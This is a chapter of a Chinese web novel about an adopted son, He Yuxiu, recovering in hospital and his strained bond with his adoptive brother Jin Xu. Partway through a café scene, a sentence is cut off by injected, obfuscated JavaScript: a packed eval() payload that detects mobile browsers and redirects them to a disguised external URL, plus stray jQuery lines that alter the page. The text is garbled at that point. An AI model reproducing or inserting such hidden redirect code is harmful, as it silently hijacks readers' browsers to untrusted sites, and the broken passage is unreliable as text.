何毓秀做了一个梦，梦里看到一个墓，碑上写了两行字：
牛马一生，未得善终。
一个男人站在他的碑前，目光幽深，神色暗淡，嗓音微微有些沙哑，“他是我用过最趁手的工具……”
“我再也遇不到这么好用的工具了。”那个人说，语气中带着隐隐的悲哀，手指依依不舍地抚摸着他的照片：“下辈子，我们一定还要再……”
在“见”那两个字出来之前，何毓秀及时睁开了眼睛。
他躺在医院的病床上，手背上还有凉凉的液体在缓缓流入血管，身边放着生命体征监测仪，半掩的门外可以听到护士轻微的走动声，还有断断续续的交谈。
“……还没醒呢。”
“人已经昏迷三天了，太吓人了，才二十九岁。”
“还是金家的二太子呢，这么有钱还这么卷，让我们怎么活啊。”
“你当豪门都是做慈善的啊？人家收养小孩都是有目的的好吗？那哪是二太子，分明是人形资产，打小就洗脑为家族付出，一点人权都没有，你不知道，他这次两进两出抢救室，第一次是过劳，第二次……”
“都干什么呢？”一道严厉的声音传出，何毓秀睫毛动了动，双目猛地清明了起来。
第二次？！
第二次进抢救室是因为……
“金煦，你到底有没有把我当过兄弟。”
他仿佛再次听到了自己虚弱的声音，从戴着氧气罩的唇边发出，当时围着的人太多，他的床还在被人推动，眼前一片昏花之中，金煦似乎在跟着他的车跑，乍然听到这句话，直接就回了一句：“我是亲生的，你是收养的，我们之间没有血缘关系，永远都不可能是兄弟。”
……
……
……
何毓秀的脸色一阵青一阵白地变幻着。
外面的谈话声随着刚才那道声音的出现已经彻底消失，取而代之的是越来越近的脚步声，病房门被人推开，一个穿着白大褂的医生走了进来，道：“醒了？感觉怎么样？”
何毓秀眸色闪动，缓缓移动视线朝对方看去，神色带着隐隐的迷蒙。
“怎么，不认识我了？”楚千钧看了一眼旁边的输液袋，坐在他身边给他拔了针，道：“金煦去参加酒会了，说好了四点半来接你。”
何毓秀倒没有感到很意外，毕竟对方是能在自己濒死之时还能说出那种话的人，在他昏迷的时候去参加酒会又算得了什么。
已经不能更无情无义了。
“我饿了。”
“有饭。”楚千钧从后面的床头上把饭盒拿过来，道：“这次的营养师有点惨，你的饮食方案被他打回去好几次，跟我对接之后才终于改成了合适的，看看这说明书。”
他抬高了病床，何毓秀被托着半坐起来，拿起眼镜戴上，看到了卡片上的文字：
进食顺序：主食，蛋白质，软蔬，汤品。
建议时间：主食阶段不得低于五分钟，随后依序进食其余食物，全程控制在25~30分钟内，严禁交叉饮食，以免影响胃排空节奏，请务必严格遵守。
“细致吧？”楚千钧啧啧有声：“也是金煦要求的，说要按照恢复期的标准严格控制摄入量……”
“你想表达什么？”何毓秀在病床上的饭桌上打开饭盒，从里面端出小米粥。楚千钧看了一眼他的脸色，道：“你希望我表达点什么吗？”
“挺烦的。”
何毓秀知道他一定听到了自己那天和金煦的对话，想要表示金煦只是认死理，并不是真的不把他当兄弟。
这种劝告他在很小的时候就听到了无数次。
金煦不是第一次这样说了，以前很多大人逗他说话的时候，只要提起‘你哥哥’三个字，金煦就总要出口纠正：“他不是我哥。”
一开始，何毓秀安慰自己他只是不喜欢当弟弟，于是他找了很多花，自己手捣花汁画了一幅画送给他，小声提议：“以后你当我哥好不好？”
金煦收下了那副画，再次将目光落在他脸上，道：“你比我大。”
“我不介意的。”小何毓秀揪着衣角，有些紧张，小金煦便看了他好一阵，然后说：“你也不是妈妈生的。”
“……”小何毓秀哑巴了一下，脸有些白：“你，你就当我是妈妈生的。”
“这是事实问题。”金煦说：“我当不当你都不是。”
何毓秀并没有完全按照说明书进食，他吃了鱼块，软蔬，偶尔还就一口比较清新的黄瓜瘦肉汤。
其实到了这个年纪，他在金家生活了二十九年，无论金煦认不认他这个兄弟，他是对方哥哥的事情早就成了定局。
是自己眼皮子浅，金煦认死理，他也跟着钻牛角尖。
金煦是怪胎，他又不是。
“出院手续办了吗？”
“还没有。”
“现在就办了吧。”何毓秀道：“我想出去走走。”
“现在？”楚千钧道：“你知道外面有多热吗？”
“太久没见太阳了，出去补补钙。”
“我陪你一起。”楚千钧将一个手提袋拎过来，道：“郑叔拿来的衣服，你收拾一下，我去给你办手续。”
楚千钧是院长之子，也是跟他们一起长大的发小，金家父母有个头疼脑热的都喜欢找楚爸，金煦和何毓秀有什么问题则更倾向于联系楚千钧。
楚千钧再次回来的时候，何毓秀已经洗完澡，吹干头发，换上了干净的白衬衫，面料依旧挺括规整，可胸口却有一个小猫刺绣，有别于以往的商务风，多了几分文艺与清新。
“别说，郑叔眼光还真不错，你现在这么一穿，跟大学生似的。”
何毓秀扶了一下眼镜，目光淡淡投过来的时候，楚千钧又把话收了回去：“戴上眼镜就有点像面试官了。”
何毓秀笑了起了。
他笑起来的时候总是给人一种训练有素的感觉，本能地得体，习惯性地温和，却又带着很明显的疏离，仿佛只要一转身，笑容就会无声褪去，不是突然的变脸，而是潮起潮落一般的自然而然。
“走吧。”
两人撑了一把遮阳伞，走出医院，楚千钧的语气也轻松了很多：“听说最近有个小子在追你？”
“你是不是也发现，离开工作的地方连呼吸好像都顺畅了？”
楚千钧：“嗯……”
看来这不是自己一个人的错觉。
何毓秀心中有了决定，在一家透着凉气的咖啡店前停下，道：“请你喝一杯。”
“你现在不能喝咖啡。”
“别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213083|181378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟金煦一样行吗？”何毓秀径直走了进去，楚千钧收起遮阳伞，道：“可以买，但只能喝一口，不然我现在就跟金煦打电话。”
何毓秀已经点了两杯拿铁，道：“我就是想吃点冰的。”
“你现在连冰的都要禁止。”
“早知道不让你一起了。”何毓秀取出手机放在扫码窗口，‘嘀’的一声，收银员怔了一下，道：“好像没扫上。”
何毓秀看着自己手机上的弹窗：支付失败，请联系主账户解除限制。
“怎么……”楚千钧的视线移到他的手机上，神色也诡异地一顿，他没多说什么，直接取出自己的手机付了款，顺手将一杯拿铁朝何毓秀的脸上贴。
何毓秀及时回神，抬手挡了一下，把咖啡杯拿在手里，道：“挺有意思。”
楚千钧一时也不知道该说什么，他和金煦以及何毓秀都是从小一起长大的，虽然他清楚外面传言说何毓秀是专门挑选、精心培养，洗脑为家族付出什么的根本就是无稽之谈……可他也清楚，何毓秀在金家的确和亲生子不同。
这个圈子里并不干净，有许多私生子上位，兄弟阋墙的事情。老钱的家族好像总是这样，他自认自己家庭已经算是不错，可跟金家比起来，却终究只是勉强够得上是还算不错。
所以他也无从分辨，金煦究竟把何毓秀当什么，何毓秀又是如何看待自己的身份。
“你……还在用他的副卡？”
何毓秀撕开吸管包装纸，神色淡淡：“嗯，之前没限制过。”
楚千钧很想问：你不会真的傻到没有给自己留一分零花吧？
他当然清楚，何毓秀全身上下，从手腕上的百万名表，到往日出门接送的千万豪车，几乎全部都是金家为他置办的，也难怪外面总有那么多乱七八糟的传言，他在金曜工作不拿钱，平时消费都用金煦的副卡，自己连张银·行·卡都没有，名下也没有任何个人资产……
他很想知道到底是何毓秀没要，还是金家没给？可转念又想到，如果金家要给，又何必他开口去要？
事到如今，他也有些弄不懂金煦到底在想什么了。
说他不把何毓秀当兄弟吧，三天前是他亲自抱着何毓秀从金曜的大楼里面冲出来，抢救的时候他寸步不离，人出来的时候他第一个跨上去，真真切切守了两天两夜，确定他的生命体征不再波动之后才终于睡了一觉。
可要说何毓秀是他兄弟吧……他不给人家置办自己的资产，抢救室外面还能说出那样的话，倒像是的确不把对方当自己人……要不是何毓秀是金家收养的，也没别的地方可以去，楚千钧毫不怀疑他俩早就一刀两断了。
何毓秀忽然停下脚步。
楚千钧抬眸去看，是一辆定制曜黑车漆的劳斯莱斯。
——阳光下完全不反光，只在某个角度才能看出深藏其中的银灰金属粒感，仿佛掩着风暴的深海钢板。轮毂是高抛光黑镀铬，连车标都是哑黑镶金定制款。
车窗全贴隐私膜，车牌只留一位数，缓缓滑行之时，仿佛一块移动的金属禁区。
车子在两人面前停下，车窗下滑半扇，男人的目光落在何毓秀手中的咖啡上面，眉头一皱：“我不是风控了你的咖啡支出吗？”
楚千钧：“……”
你可别说话了。